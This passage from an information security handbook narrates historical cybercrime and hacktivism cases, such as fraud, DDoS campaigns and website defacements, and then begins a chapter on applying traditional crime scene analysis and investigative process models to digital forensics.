“sensitive information about essential defense technical research matters.” Although the stolen information has not been classified, it is still invaluable to foreign governments, terrorist groups, and private companies because these networks hold information on military logistics, planning, payrolls, purchases, personnel, and routine Pentagon e-mails between departments. The most sophisticated attacks observed to date apparently came from just outside Moscow and were eventually traced to the Russian Academy of Sciences laboratory, the country’s leading scientific research body. The average miscreant in this category will have one of two driving motivators for his activity on the Internet. Either it will be for curiosity (the “can I do that” factor) or it will be for financial gain. The following discussion takes a look at some of the techniques used for financial gain. Unusually, there is a report from a country that we consider to be “closed” to us in a number of ways and which, if we believe all the stories we are presented with, is now run by the Mafia and organized crime. According to a report by Ruth Alvey37 in July 2001, the level of cyber-crime that was recorded in Russia has grown rapidly in recent years. In 2001, there were 1375 crimes registered in the high-technology field, a growth of 18 percent from 1999. The report highlights the fact that this type of expansion is particularly worrying because only approximately 4.5 percent of the Russian population is connected to the Internet, which compares with connectivity rates of approximately 49.1 percent in the United States. The report also gives a conservative estimate of between 250 and 500 hackers operating in Russia today, with 15 to 20 of these hackers available for hire working in the Moscow area and around 10 working in the area of St. Petersburg. The reporter also gives further details of hacker activity in Russia, such as the level of sales of hacker magazines (30,000 copies per month) and cites that 1605 Russians participated in a single hacking competition on a Russian Web site (www.hackzone.ru) in the year 2000, suggesting that the actual number of active hackers is much higher. From the United States comes a report from Florida in which it was stated38 that an FBI sting operation resulted in the arrest of Fausto Estrada for allegedly stealing various confidential documents from the credit card company MasterCard International and offering to sell them to MasterCard’s competitor, Visa
Information Warfare Tactics by Terrorists, Activists, and Miscreants
595
International. A five-count complaint charged Estrada with theft of trade secrets, mail fraud, and interstate transportation of stolen property. According to the complaint, in February 2001, Estrada, using the alias “Cagliostro,” mailed a package of information he had stolen from MasterCard to Visa’s offices located in California. Estrada allegedly offered to sell to Visa sensitive and proprietary information that he had stolen from MasterCard’s headquarters. According to the complaint, among the items Estrada offered to sell to Visa was a business alliance proposal valued in excess of $1 billion between MasterCard and a large U.S. entertainment corporation. As part of a sting operation conducted by the FBI’s Computer Intrusion and Intellectual Property Squad, an FBI agent posed as a Visa representative and negotiated for the purchase of the MasterCard documents in Estrada’s possession. If convicted, Estrada faces a maximum sentence of ten years in prison and a fine of $250,000, or twice the gross gain or loss resulting from the crime on each of the two charges of theft of trade secrets and the two interstate transportation of stolen property charges, and five years in prison and a $250,000 fine, or twice the gross gain or loss resulting from the crime on the wire fraud charge. This was a fairly straightforward theft, but hitting at the heart of the electronic trade bedrock — the credit card. In another report from the United States, a 16-year-old New Jersey teenager, Jonathan G. Lebed, settled a civil fraud lawsuit filed against him by the Securities and Exchange Commission (SEC), which alleged that he had hyped stocks on the Internet before selling them for a total profit of $272,826. He settled the charges brought by the SEC by paying the government $285,000, which included his alleged illegal profits plus interest. The SEC accused Lebed of using the Internet, beginning when he was 14 years old, to tout nine small stocks he owned, driving up their prices. He sold the shares, usually within 24 hours of the promotional e-mail, making as much as $74,000 on a single stock sale, the agency’s suit alleged. This is a classic case of using the power that is provided by the freedom of the Internet, together with the lack of verification that takes place with online publishing, to influence the opinions of people. This is a trivial example of how, when it started, a 14-year-old youth could exert enough influence to affect the price of stocks on the stock exchange. Imagine the potential for influencing people that could be achieved by a well-funded and well-trained organization. The next example is the first of what will inevitably be repeated. In this case, the Italian police arrested 21 people who were accused of involvement in a massive online banking fraud that could have cost the Sicilian regional government more than 1 trillion lire (US$465 million), according to a statement by the Italian authorities in October 2000. Members of a criminal group with links to the Cosa Nostra allegedly managed to “clone” an online branch of the Banco di Sicilia and were preparing to remove funds from an account belonging to the Sicilian regional government, officials said. The scheme was operated with the assistance of two members of the bank’s staff, using stolen computer files, codes, and passwords. With these facilities, the gang managed to gain access to the bank’s information systems. It was alleged that the group was planning to steal 264 billion lire from the bank. According to the Italian news agency AGI, one of the possible destinations of the stolen money was the branch of a Portuguese bank, the Banco Espirito Santo e Comercial of Lisbon, in Lausanne, Switzerland. Police identified the leader of the gang as Antonio Orlando, 48, described as being close to one of Palermo’s leading Mafia families and with previous arrests for fraud, money laundering, and receiving stolen property. According to an official from the Palermo police, “The operation was certainly authorized by the Mafia, because here in Sicily any operation of economic importance requires the Mafia’s permission.” Another type of miscreant would be those who are engaged in nefarious activities and use the Internet for the purposes of communication. They take full advantage of currently available technologies that will either allow them to remain anonymous or let them send and receive messages that cannot be intercepted and reduced to a meaningful state by either law enforcement or their opposition. The promise of such anonymity will always attract them to technology and the Internet. Let us look at the case for anonymity. In the United Kingdom, because of the way the Internet industry has developed, it is possible to take out a “free” Internet connection through an ISP. While the user is required to provide personal details for the account, because the service provider is not trying to gain
596
Information Security Management Handbook
any money for the use of the service from the user, there is normally only a cursory check that the details that have been provided are correct. (If you were the ISP and the user was not the direct source of revenue, how much effort and resource would you invest in checking out the details provided?) It is also possible in the United Kingdom to purchase from any High Street store a pay-for-use mobile phone. These can be purchased for cash and replacement cards or top-up cards can also be purchased for cash from a large number of outlets. The result is anonymous communications and access to the Internet. There are any number of ways to obtain free telephone calls, most of which are illegal, but the combination of untraceable telephone calls and connectivity over the Internet is a powerful one. Having looked at a number of criminal group types, it would be unrealistic not to look at the material available on the Cali drug cartel from Colombia. In a paper written by a Los Angeles policeman,39 he states that not only are criminals using the available technologies to make their illegal activities more profitable but they are also using computers, cellular phones, and other sophisticated electronic devices to gather intelligence information on police operations to prevent themselves from being caught. He cites as an example: When agents of the United States Drug Enforcement Administration recently conducted a raid at the Cali drug cartel headquarters in Colombia, they discovered two large IBM mainframe computers. The computers were hooked into the national telephone service of Colombia and stored the phone records of millions of Cali residents. These phone records were routinely cross-checked against calls made to the United States Embassy in Colombia and the Colombian Ministry of Defense in an effort to identify Colombians who were cooperating with government drug enforcement efforts. In a court case in California:40 Cali cartel is reputed to be using sophisticated encryption to conceal their telephone communications and to scramble transmissions from computer modems. Also referred to in the same court case was the Italian Mafia downloading copies of Pretty Good Privacy (PGP) from the Internet and the fact that Dutch criminal organizations encrypt their communications and computers with PGP and IDEA. If the drug cartels and Mafia have this type of capability at their disposal (and there is no reason to doubt that they do, as untraceable money will buy you almost anything), then the potential is frightening. There is considerable paranoia regarding the capabilities of various “Big Brother” governments to intercept an individual’s e-mail (and just because you are paranoid does not mean that they are not out to get you), but governments are at least voted into office and can be removed. Criminals with the same potential powers have no such constraints placed on them. As noted earlier, activists are groups of people with a common cause who want to bring pressure to bear on the “establishment.” The establishment might be a government, an international organization such as the World Trade Organization, or even an industry sector such as the petrochemical industry or the biotech sector. One of the tools in the hands of the activist is the denial of service attack. The case below is an illustration of the effect that such an attack can have and the seesaw motion between the capabilities of the hackers and those of the defenders of the systems as they develop countermeasures. In a report41 by Rutrell Yasin on February 5, 2001, he stated, “Roughly a year after cyber-terrorists paralyzed some of the Web’s most trafficked sites, technology is finally emerging to stop such distributed denial of service attacks before they ever reach their target sites. The new tools are designed to thwart attempts to bombard routers with large volumes of bogus requests that overwhelm servers and deny access to Web sites.” Denial of service attacks have been a major problem for Microsoft, especially after an employee apparently misconfigured one of the routers on the system. In this case, the attackers were able to capitalize on this human error and bombarded the routers with bogus data requests. The defensive measure brought to bear was an intrusion detection system. In this case, Arbor Networks, a relatively new company that has been jointly funded by Intel and Cisco, was about to announce the launch of a managed service that it claims can detect, trace, and block DoS attacks. This type of technology is not unique, and similar
Information Warfare Tactics by Terrorists, Activists, and Miscreants
597
FIGURE 47.2 Extract of Information from Alldas.de.
services have been produced in the United Kingdom by the Defence Evaluation and Research Agency (DERA) for use by the U.K. Ministry of Defence and have subsequently been used to provide a service for both government and industry. Other commercial organizations such as IBM and SAIC also offer similar services. The service relies on sensors that are placed at strategic locations within the network to allow the monitoring agent to detect abnormal behavior on the system. The primary type of activity monitored is the system penetration; however, if the sensors are placed in front of the routers, the monitors can collect information about traffic patterns and identify anomalies, such as excessive traffic coming from a given IP address. In some cases, the software is capable of generating a fingerprint that can be used to trace the origins of the attack; however, this type of functionality has proved to have limited success to date (how do you identify the attacker in a DDoS attack that uses thousands of zombies?). Operators at the customer site or Arbor’s network operations center can take corrective action, such as blocking excessive traffic. The defacement of Web sites has been occurring for some time but has increased in recent years to the point where the Web site (www.atrition.org) that became famous for its up-to-date reporting of defaced Web sites stopped trying to keep up with the list of damaged sites. This Web site ceased activity after more than two years of tracking such defacement. A German Web site, Alldas.de,42 now attempts to provide an up-to-date listing of the Web sites that have been hacked each day, together with a considerable amount of useful and related information (see Figure 47.2). This Web site also maintains league tables of which hacker groups have been responsible for which attacks during the period. An example of this type of information is given in the small extract below, showing the name of the Web site defacer, the number of Web sites that were claimed to be defaced, and the percentage of the overall number of Web site defacements that this represents: • • • • • • • • • • • •
A-I-C defaced four Web sites, which is 0.02 percent of all archived defacements. A-jaX defaced four Web sites, which is 0.02 percent of all archived defacements. A-Open defaced one Web site, which is 0 percent of all archived defacements. A1L3P5H7A9 defaced one Web site, which is 0 percent of all archived defacements. Abfgnytvp defaced one Web site, which is 0 percent of all archived defacements. Abu Sayaff defaced two Web sites, which is 0.01 percent of all archived defacements. Abu Sayaff Boys defaced one Web site, which is 0 percent of all archived defacements. abuzittin defaced one Web site, which is 0 percent of all archived defacements. AC defaced seven Web sites, which is 0.03 percent of all archived defacements. AccessD defaced eight Web sites, which is 0.04 percent of all archived defacements. ACE defaced eight Web sites, which is 0.04 percent of all archived defacements. acecww defaced four Web sites, which is 0.02 percent of all archived defacements.
598
Information Security Management Handbook
• • • •
acid defaced one Web site, which is 0 percent of all archived defacements. Acid Blades defaced one Web site, which is 0 percent of all archived defacements. aCid fAlz defaced 13 Web sites, which is 0.06 percent of all archived defacements. acid klown defaced three Web sites, which is 0.01 percent of all archived defacements.
It is interesting to note that this Web site (Alldas.de) was itself the victim of collateral damage when the service provider on which it depends, Telenor, apparently suffered significant problems at the beginning of July (2001) for more than 40 hours. The site was also the target of a distributed denial of service attack during the middle of July 2001 that prevented it from operating for four days. In Europe during the protest about the cost of fuel and the tax that the governments were levying on fuel, a number of Web sites came into being that provided not only communications within the local environment but also allowed for the coordination of activity over the wider area. The material that is shown on these pages is from Web pages and newsgroups, all of which are semipermanent; however, a great deal of the information that was passed during these and other activities is now passed through services such as the Internet Relay Chat (IRC) channels, which can be as public or as private as the participants wish and for which there is less of a permanent record created. In the United Kingdom during the fuel protest, sites such as Bogush’s Lair43 served as excellent examples of Web sites that can provide communication regarding international situations as well as local events. Bogush’s Lair provided details of meetings and actions that were kept up to date throughout the protest. The Web pages provided a network of related pages that gave a good overall picture of the situation as it developed and provided a good barometer of public opinion with regard to the situation. It is interesting that governments in the areas affected were slow to realize the potential that was being exploited and did not appear to capitalize on the information that was being made available on the Internet. The United Kingdom has an interesting mix of online activists that includes concerned citizens who would not normally be viewed as activists; political parties and groups, such as the West Berkshire Conservative Association;44 the more expected trade group and industry sites; and truckers’ forums. Electrohippies, a group based in England, used DoS attacks against the World Trade Organization (WTO) in December 1999. The Electrohippies claimed that 452,000 supporters bombarded the WTO’s Web site. The Electrohippies are hacktivists (i.e., computer-aided activists who hack) with a conscience. They will not intrude into computer systems and, in fact, abhor physical violence, preferring to send e-mail bombs rather than real ones that can hurt or kill. iDEFENSE reported that the cyber-activist group RTMark has used eBay to help raise funds to support a variety of cyber-protest campaigns. RTMark utilizes an array of cyber-protest methods to target large companies and organizations. The group also solicits funds for developing hacker tools to be used against its targets.45
The Harsher Side of Activism Urban terrorists from disparate factions across Europe used the Internet and mobile phones to orchestrate the rioting that marred a European summit. Operating from a back-street bar and neighboring cyber café, under the noses of the 6000-strong security force surrounding Nice’s Acropolis conference center, four men dispatched reports.46 When the International Monetary Fund and World Bank met in September 2000, the Federation of Random Action and an affiliate, toyZtech, orchestrated thousands of online protesters. Employing a new DDoS tool for people with almost no computer expertise, the attack was to force the Web sites off line.47 In addition to the inconvenience resulting from this act, the groups also hoped to cause monetary loss. Activists are usually cash strapped, preventing them from being able to afford the best technology. This creates a capabilities gap, but that is overcome with creativity. Activists adapt and improvise what they have to achieve their goals. This has been the case for thousands of years. Today, activists use that creativity and adaptability to bring to bear the technologies they can acquire.
Information Warfare Tactics by Terrorists, Activists, and Miscreants
599
Summary In this chapter the different types of techniques and tools that a number of different types of individuals with a cause may use, or be perceived to have used, have been examined. In some cases, the action is intended to be an act of warfare, but the primary issue is that it is now impossible to determine whether an incident on a network or system has been the result of an accident, is an act of warfare, is a criminal activity, or is the action of curious youths experimenting with tools they had found on the Internet. The Solar Sunrise incident clearly demonstrates that what was initially thought to be an action by a hostile nation was eventually traced, some considerable time later, to the activities of three youths (two in California and one in Israel).
Notes 1. Definition of Terrorism Adopted by Gateway Model, United Nations, Spring, 1995, http:// www.inlink.com/~civitas/mun/res9596/terror.htm. 2. Ayatollah Muhammad Ali Taskhiri. Towards a definition of terrorism. Al-Tawhid 5(1), 1987. 3. Declan McCullagh, Bin Laden: Steganography Master?, February 7, 2001. 4. Robert Windrem, Bin Laden’s Name Raised Again — A Primer on America’s Intelligence Archenemies, NBC News, http://www.ummah.net.pk/dajjal/articles/ladenagain. html. 5. Jack Kelly, Terrorist instructions hidden on line, USA Today, June 19, 2001. 6. Jack Kelley, Terror groups hide behind Web encryption, USA Today, June 19, 2001. 7. Webopedia definition, from http://webopedia.internet.com/TERM/S/slack_space.html. 8. StegFS homepage can now be found at http://www.mcdonald.org.uk/StegFS/. 9. Air Force Research Laboratories, http://www.afrl.af.mil/if.html. 10. Sinn Fein Web site, http://www.sinnfein.ie/. 11. Sinn Fein Online, http://www.geocities.com/sinnfeinonline/. 12. http://www.geocities.com/diarmidlogan/. 13. http://www.csc.tcd.ie/~sinnfein/. 14. http://www.irsm.org/irsp/. 15. http://www.ulsterloyalist.co.uk/welcome.htm. 16. http://www.houstonpk.freeserve.co.uk/uvfpg.htm. 17. Rich Geib’s Universe, http://www.rjgeib.com/thoughts/terrorist/response1.html. 18. Irish Republican Army Information Site, http://www.geocities.com/CapitolHill/Congress/2435/. 19. Vincent Morley’s Flag Web page, http://www.fotw.stm.it/flags/gb-ulste.html. 20. Unionist Murals from Belfast, http://www.geocities.com/Heartland/Meadows/7985/mural.html. 21. The Basque Journal, http://free.freespeech.org/ehj/html/freta.html. 22. Basque Red Net, http://www.basque-red.net/cas/enlaces/e-eh/mlnv.htm. 23. Spanish Ministry of the Interior Web page, http://www.mir.es/oris/infoeta/indexin.htm. 24. http://www.ac-versailles.fr/etabliss/plapie/MediaBasque2001.html#ancre45175. 25. Electronic Disturbance Theater Web site, http://www.thing.net/~rdom/ecd/ecd.html. 26. Kavkaz Tsentr Web site, www.kavkaz.org. 27. Brian McWilliam, Hacking vigilantes deface WTC victim’s site, Newsbytes, September 17, 2001. 28. Sam Costello, CERT goes down to DoS attacks, IDG News Service, May 23, 2001. 29. The NIPC publication is available at http://www.nipc.gov/publications/highlights/2001/highlight01-10.pdf. 30. Tony Castanha, The French Nuclear Protest, August 31, 1995. 31. Onething defaced Web site archive, http://www.onething.com/archive/. 32. 2600 hacker magazine defaced Web site archive, http://www.2600.com/hacked_pages/. 33. Propaganda & Psychological Warfare Studies Web site, http://www.africa2000.com/PNDX/ pndx.htm.
600
Information Security Management Handbook
34. Extremist propaganda Web page, http://scmods.home.mindspring.com/index.html. 35. Anne Plummer, Defense Information and Electronics Report, October 22, 1999, http:// www.infowar.com/hacker/99/hack_102599b_j.shtml. 36. Clifford Stoll, The Cuckoo’s Egg, Doubleday, New York, 1989. 37. Ruth Alvey, Russian Hackers for Hire — The Rise of the E-Mercenary, July 1, 2001, http:// www.infowar.com/hacker/01/hack_080301a_j.shtml. 38. U.S. Department of Justice, FBI Sting Captures New York Man Who Stole Trade Secrets from MasterCard and Offered Them for Sale to Visa, March 21, 2001, http:// www.usdoj.gov/criminal/ cybrcrim/Estrada.htm. 39. Marc D. Goodman, Why the Police Don’t Care About Computer Crime (Marc Goodman is a sergeant with the Los Angeles Police Department and student in the Public Administration program at Harvard). 40. No. 97-16686 in the U.S. Court of Appeals for the Ninth Circuit, Daniel J. Bernstein, plaintiffappellee, v U.S. Department of Commerce et al., defendants-appellants, on appeal from the U.S. District Court for the Northern District of California. 41. Rutrell Yasin, Tools stunt DoS attacks, monitor dam packet floods at ISP routers, Internetweek, February 5, 2001, http://www.internetweek.com/newslead01/lead02051.htm. 42. Alldas Web site, http://www.alldas.de. 43. Bogush’s Lair Web site, http://network54.com/Hide/Forum/101883. 44. West Berkshire Conservative Association Web site, http://www.wbca.org.uk/fuel.htm. 45. iDEFENSE Intelligence Service, March 15, 2000, http://www.idefense.com/ or http:// www.csmonitor.com/atcsmonitor/cybercoverage/bandwidth/p122899bwice.html. 46. Colin Adamson, Cyber café is HQ for rioters, This Is London.com, December 9, 2000, http:// www.thisislondon.com/dynamic/news/story.html?in_review_id=342673&in_review_text_ id=286292, 47. Sarah Ferguson, Hacktivists chat up the World Bank: “Pecked to death by a duck,” The Village Voice, October 19, 2000, http://www. villagevoice.com/issues/0042/ferguson.shtml,.
48 DCSA: A Practical Approach to Digital Crime Scene Analysis Marcus K. Rogers “One should always look for a possible alternative and provide against it. It is the first rule of criminal investigation.” — Sherlock Holmes (The Adventure of Black Peter, by Sir Arthur Conan Doyle) The world of criminalistics has changed in the last few years. Not only has there been a shift in how the popular media portray crime scene investigations (e.g., television shows such as CSI, CSI Miami, NCIS), but there has also been a change in demands placed on crime scene investigators. It has been estimated that, today, 80% of all cases have some form of digital evidence. As evidence quickly moves from being physical and document based to digital and electronic, the knowledge, skills, and abilities of those charged with identifying, collecting, and analyzing evidence must adapt to meet these new demands. Some, in the new emerging field of digital forensics, have suggested that, due to the unique nature of computers, networks, and digital evidence, traditional approaches to crime scene analysis must be abandoned in favor of new methods, techniques, and tools (Rogers and Seigfried, 2004). The Department of Justice in the United States, the Royal Canadian Mounted Police (RCMP) in Canada, the Australian National Police, and Scotland Yard, to name just a few, are literally scrambling trying to develop new procedures and checklists to allow investigators to effectively deal with digital evidence and digital crimes scenes. Researchers such as Baryamureeba, Beebe, Carrier, and Mocas have developed various models to assist law enforcement and the judiciary in dealing with digital evidence. Despite these theoretical efforts, what is still lacking is an applied or practical approach to dealing with digital crime scenes and the digital evidence contained therein. The thesis of this chapter is that, although digital crime scenes and electronic evidence may introduce some unique requirements, these requirements will be at the higher strata of the process (e.g., specific tools). The lower, more conceptual layers of a crime scene, as discussed by Lee et al., Saferstein, Nickell, and Fischer, will not be drastically different for physical and digital investigations; therefore, a common approach can be defined. This common approach will assist digital forensics in meeting the current and future requirements for being a forensic science and in satisfying the judicial criteria for admissibility as scientific evidence (i.e., Daubert) (Bates, 1997). The common ground also makes it possible to repurpose much of what we already know in criminalistics and physical crime scene analysis and provides a practical approach for examiners, analysts, and investigators. This chapter provides a brief background on criminalistics and general crime scene analysis. The reader is also introduced to some of theoretical frameworks that have been developed specifically for digital
601
602
Information Security Management Handbook
crime scenes and how common concepts can be reintroduced back into the general crime scene framework. A simplified process model is discussed that not only allows for a pragmatic approach to dealing with digital scenes but also is consistent with established protocols, thus increasing the probability that discovered evidence, either inculpatory or exculpatory, will be admissible in a court of law.1 It has been said that “there is no new thing under the sun” (Ecclesiastes, 1:9–14), and this chapter is no exception. It merely examines what has already been done in the areas of physical crime scene analysis and digital investigative models and provides a pragmatic marrying of the two analogous disciplines.
Brief Overview of Crime Scene Analysis Crime scene analysis can trace its roots back to the early 1900s when Edmund Locard published his now famous principle of exchange. The principle states: “When a person commits a crime something is always left at the scene of the crime that was not present when the person arrived” (Saferstein, 2004, p. 5). This relatively simple principle reshaped the manner in which the law enforcement community would forever more view the scene of a crime. The revelation suggested that not only could the crime scene provide clues as to what had transpired but it could also provide information on who might have been involved, either as a suspect or at the very least as a material witness. Law enforcement investigators were now challenged to protect the scene and identify and collect potential evidence in a timely manner, as most scenes contained semipermanent evidence (e.g., bullet holes, broken glass) and transient or dynamic evidence (e.g., fingerprints, bodily fluids). The demands for identifying and collecting evidence had to be balanced with the concern over contamination (i.e., introducing items into the scene that were not originally there or destroying existing evidence). The various demands required that the law enforcement community develop protocols and standard operating procedures (SOPs). These SOPs eventually became universal and, having survived judicial scrutiny, became the framework for current-day crime scene analysis (Nickell and Fischer, 1998). Basic textbooks such as Henry Lee’s Crime Scene Handbook present this framework as part of the foundations of criminalistics. The process encompasses five phases (Lee et al., 2001; Saferstein, 2004): • Recognition — Recognition involves knowing what to look for, what constitutes potential evidence, and, more importantly, what can be ignored. This phase also includes the collection of evidence. • Identification — When evidence or potential evidence has been recognized, it must be identified. Identification consists of classification at the most basic level based on class characteristics (e.g., hair, blood, fingerprint). This acts as the foundation for the next phases. • Comparison — The collected and identified evidence must be compared to some standard or control to determine that it came from a particular class (e.g., paint from a 1975 Ford Mustang). • Individualization — The evidence is then further examined to determine any unique characteristics that would allow it to be differentiated from the larger category to a specific person or object based on its unique characteristics (e.g., paint from a 1975 ford Mustang owned by the primary suspect). • Reconstruction — The last phase ties together the previous phases and allows the investigator to pull together the pieces of what has been to this point part of a jigsaw puzzle with no real picture to follow into a logical sequence of events consistent with established timelines. Assumed within this model are the concepts of interpretation and reporting. Interpretation in this context refers to assumptions and postulations based on evidence and the facts at hand. Obviously, the final output of the process is the production of a report that becomes discoverable and provides a chronology of what, when, why, where, and how the scene and identified evidence were handled or managed; this is critical when proving an unbroken chain of custody, which is one of the cornerstones of good crime scene and evidence management (Ahmad, 2002; Lee et al., 2002; Saferstein, 2004). The crime scene model is purposely high level and focuses on concepts as opposed to minute details. This allows the model to be used in various types of investigations (e.g., arson, homicide, sexual assault), while providing sufficient latitude for the analyst or investigator to be flexible and deal with the eccentricities and context of each particular scene/investigation.
DCSA: A Practical Approach to Digital Crime Scene Analysis
603
Cyber Crime Scenes An interesting phenomenon has appeared within the field of digital investigations. For whatever reason, the forensic and law enforcement community has assumed that the introduction of technology has so drastically changed the nature of investigations and crime scenes that we must reinvent the wheel and develop new and different approaches to digital or computer crimes and their corresponding scenes. This opinion exists despite a lack of evidence to support it and actually runs contrary to what courts are demanding — adherence to a criteria for the admissibility of scientific and technical forensic evidence (Smith and Bace, 2002). In the United States and Canada, the courts have decided on the Daubert criteria2 for determining whether evidence is scientific and thus given more weight. Briefly, the criteria state that the method or theory should be testable and generally agreed upon by the relevant scientific community, the error rate must be known or have the potential to be known, and the method used must have been peer reviewed and published (Meyers and Rogers, 2004). The Daubert criteria and the subsequent Carmichael3 ruling, which extended the criteria to technical and engineering methods, place the judge in the position of “gatekeeper,” whose role it is to decide what evidence becomes admissible and what will be heard by a jury. The criteria are designed to give assistance to judges, whom are not necessarily scientists, when determining true science from junk science. As mentioned, the Department of Justice in the United States and its counterparts throughout the world have felt the pressure to develop standard operating procedures for dealing with digital-based evidence. The development of these SOPs is problematic given the fact that, although various ad hoc approaches exist, no international consensus has yet been reached on how to deal with the evidence. High-level concepts have been discussed by organizations such as the International Organization on Computer Evidence (IOCE) and the Scientific Working Group on Digital Evidence (SWGDE); however, apart from agreeing that evidence should not be altered and that everyone needs to be trained and adhere to the country’s laws, nothing concrete has been accomplished. The lack of defined standards combined with the judicial scrutiny has placed the field of digital forensics in the precarious position of vacillating between a true scientific discipline and a pseudo science or art form. This is definitely not a comfortable position to be in for any protracted period of time. To meet the criteria for scientific evidence, digital forensics must determine what actually constitutes a digital investigation (Noblett et al., 2000; Reith et al., 2002). This requires the identification of process models and investigative elements (Mocas, 2003). Although several theoretical digital crime scene process models have been developed, we will confine our discussions to the integrated digital investigation process (IDIP) (Carrier and Spafford, 2003) and the hierarchical objectives-based framework (HOBF) (Beebe and Clark, 2004). These two models encompass earlier models, such as the incident response model, law enforcement process model, and the U.S. Air Force abstract process model.
Definitions Before examining the digital crime scene process models, it is important that several key terms be agreed upon. Although the term digital evidence has found its way into the common vocabulary, it has never been sufficiently defined by the digital forensic community. Carrier and Spafford (2003) defined digital evidence as: Digital data that establish that a crime has been committed, can provide a link between a crime and its victim, or can provide a link between a crime and the perpetrator. (p. 6) This is a modification of the definition of physical evidence as presented by Saferstein (2004). Accordingly, the datum can exist in storage media, primary or secondary memory, and volatile memory or on the wire in transit between systems. This definition will suffice for the purposes of our discussion. Given the definition of digital evidence, we can define a digital crime scene as the electronic environment where digital evidence can potentially exist. This is a slight modification of the Carrier and Spafford (2003) definition. The terms “software” and “hardware” were dropped from the original definition, and
604
Information Security Management Handbook
the term “virtual” was replaced by “electronic.” It was felt that the original terms introduced unnecessary constraints on the definition.
Current Process Models Integrated Digital Investigation Process The integrated digital investigation model (IDIP), one of the most well-known models of digital investigations, maps digital elements to physical investigative methods. Carrier and Spafford (2003) examined earlier approaches from the areas of incident response, the military, and law enforcement. They concluded that any digital model must meet the following criteria: • The model must be based on existing theory for physical crime scene investigations. • The model must be practical and follow the same steps that an actual investigation would take. • The model must be general with respect to technology and not be constrained to current products and procedures. • The model must be specific enough that general technology requirements for each phase can be developed. • The model must be abstract and apply to law enforcement investigation, corporate investigations, and incident response. Based on these criteria, the IDIP has seventeen phases combined into five groups: • • • • •
Readiness phase Deployment phase Physical crime scene investigation phase Digital crime scene investigation phase Review phase
Carrier and Spafford (2003) break each of these five phases down into more basic elements and relate each back to physical investigations concepts and analogous requirements. The authors conclude that the IDIP provides a valid investigative model and argue that digital investigations encompass more than forensics, which they contend is primarily focused on issues related to comparison and identification, and is thus differentiated from digital forensics. They specifically point to the reconstruction of digital evidence as support for differentiating investigations from forensic analysis (Carrier and Spafford, 2003). The IDIP has been criticized for being too theoretical and relegating the computer to being simply a “dead body” upon which a postmortem is to be conducted, as opposed to an actual crime scene analogous to the physical environment (Baryamureeba and Tushabe, 2004). Given that the computer system, network, or storage media can be thought of as a distinct crime scene, a container for potential evidence inside a primary scene, and a victim upon which the incident has been perpetrated, the term corpus delicti is more fitting. Corpus delicti encompasses not only the notion of the body but also the sum total of the evidence that exists in the environment containing the body. Baryamureeba and Tushabe (2004) further criticize the lack of specificity of the model and its vagueness in differentiating between multiple scenes such as the perpetrator’s and the victim’s computer systems.
Hierarchical Objectives-Based Framework Beebe and Clark (2004) leveraged the work of Carrier and Spafford (2003) and defined an investigative framework based on concrete principles as opposed to single-tier, high-order principles. The goal was to use objectives-based subphases in order to make the framework more pragmatic (Beebe and Clark, 2004). The authors combined what they considered to be first-tier phases from previous approaches to construct their first-tier framework. This framework consists of:
DCSA: A Practical Approach to Digital Crime Scene Analysis
• • • • • •
605
Preparation Incident response Data collection Data analysis Presentation of findings Incident closure
A second tier framework was then added. The second tier was meant to cover all contingencies and types of digital evidence, as well as possible categories of crimes (Beebe and Clark, 2004). The authors further indicated that this layer was comprised of objectives-based subphases (OBSPs), which should be consistent across various contexts, and specific tasks and subtasks that were situational dependent. The remainder of the discussion was confined to illustrating the model focusing only on the analytical phase and defining the appropriate subphases such as survey, extract, and examine (see data analytical approach). Beebe and Clark (2004) concluded that an objectives-based, multitiered approach had more utility than the first-tier-only models, as the multitiered model was more practical and at the same time more specific. They contended that a more detailed approach would assist researchers and tool developers; however, they cautioned against moving to a level of specificity that would produce standardized checklists due to the quirks that can arise in real-world investigations. As the authors point out, the model is incomplete and adds several layers of complexity (Beebe and Clark, 2004). The model also tries to be too all encompassing. The goal of being technology and operating system neutral is not practical given the reality of today’s investigations. Certain technologies (e.g., cell phones, flash drives) and operating systems or file systems may have peculiarities that affect both the first tier and the objectives layer. This would lead to the necessity of defining additional subtiers within the model that would further increase the complexity and adversely affect its parsimony, thus limiting its real-world applicability. The model also attempts to be both generic and broad yet provide sufficient specificity to be practical — these two goals appear to be mutually exclusive in this context.
General Model Limitations The most fundamental issue with the majority of the models to date is their reliance on incident response as both a framework and point of reference as opposed to being based on a solid criminalistics framework. While incident response seems like a logical foundation for the development of digital investigative models, it lacks some crucial components — namely, compliance with the rules of evidence, standard of proof, and chain of custody considerations (McKemmish, 1999). Incident response procedures are predicated on computer science, networking, and information technology theory and standards. These disciplines look at the mechanical aspects of the devices, packets, and interconnections. This is crucial for troubleshooting and root-cause analysis at the mechanical level, but the models give little or no consideration to proper evidence handling or admissibility requirements (McKemmish, 1999). Current models also tend to reinforce the lack of stratification of various digital crime scene functions. In the traditional forensic disciplines, particular forensic disciplines have certain areas of specialty. Most larger law enforcement agencies, and increasingly smaller agencies as well, have crime scene technicians who are skilled in crime scene analysis. When a first responder arrives at a major crime scene, the scene is controlled and then the specialists are brought in to collect the appropriate evidence in a forensically sound manner. The evidence is then transported to other specialists whose function it is to deal with the evidence based on context or content (e.g., blood, hair and fiber, ballistics, DNA, fingerprints). The first responders will more than likely turn the case over to trained investigators (e.g., homicide, arson, robbery). Currently, digital investigations do not usually follow this same approach. It is not uncommon for the first responder to be expected to perform the role of a crime scene technician, investigative specialist, pathologist or coroner, and forensic scientist schooled in several different scientific disciplines. The mere fact that the scene is digital does not alter the reality that no one can live up to this unrealistic expectation of multiple domain expertise.
606
Information Security Management Handbook
L A B
Report
Analysis
C O R P U S D E L I C T I
Transportation
Evidence Collection
Evidence Identification
FIGURE 48.1 Crime scene deconstruction.
An additional limitation is that the investigative models are overly broad and do not lend themselves to a practical real-world approach for dealing with an entire investigation. This lack of pragmatism should come as no surprise, as no one model exists for all possible investigations based on evidence collected from a physical scene. Imagine trying to define an investigative model that covers every type of traditional crimes (e.g., homicide, rape, arson, break and enter) and every possible kind of physical evidence that can be collected from the scene (e.g., fingerprints, DNA, gun powder residue). When put into this context, it seems rather odd to define investigations solely based on the modality (i.e., physical versus digital) of the scene that contained the evidence. It will be impossible to have a generic investigative approach to all digital cases. Models must deconstruct the investigative process into more logical, practical phases. These phases should be based on the demarcation between the crime scene, analysis, and reporting activities (see Figure 48.1). Based on this framework, we need to concentrate our attention on the crime scene phase, as this forms the foundation upon which the analysis phase and reporting phases are built. This is also the primary target for activities related to the admissibility or suppression of evidence. If doubt is cast on the initial collection and management of evidence, output from the other phases is moot. Developing a practical 